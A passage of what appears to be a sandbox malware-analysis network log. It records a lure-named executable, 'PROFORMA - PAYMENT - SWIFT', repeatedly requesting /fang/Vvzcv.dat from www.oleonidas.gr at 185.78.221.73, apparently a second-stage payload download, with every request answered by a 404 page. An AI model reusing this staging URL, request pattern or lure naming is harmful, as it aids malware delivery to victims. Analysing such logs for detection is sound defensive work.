2024-11-24 15:39:51 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:39:52 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:39:53 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:39:53 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:39:53 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:39:55 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:39:55 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:39:55 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:39:55 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:39:57 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:39:57 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:39:57 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:39:57 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:39:59 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:39:59 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:39:59 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:39:59 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:01 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:02 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:02 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:02 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49712	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:03 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:04 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:04 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:04 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49716	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:05 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:06 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:06 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:06 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49724	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:08 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:08 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:08 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:08 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49731	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:10 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:11 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:10 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:11 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49736	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:12 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:13 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:12 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:13 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49739	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:14 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:15 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:15 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:15 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49745	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:16 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:17 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:17 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:17 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49750	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:18 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:19 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:19 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
